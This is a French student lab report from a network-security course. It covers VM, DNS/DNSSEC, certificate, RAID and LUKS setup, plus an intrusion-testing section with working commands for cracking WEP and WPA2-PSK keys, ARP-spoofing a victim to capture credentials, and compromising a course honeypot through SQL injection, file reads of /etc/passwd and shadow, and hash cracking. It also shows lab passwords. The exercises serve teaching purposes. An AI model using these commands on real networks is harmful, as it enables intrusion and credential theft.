&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== Partie 7 ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des &amp;quot;apt install&amp;quot; et ne plus être considérer comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie la machine sur chassiron est capable de ping google.&lt;br /&gt;
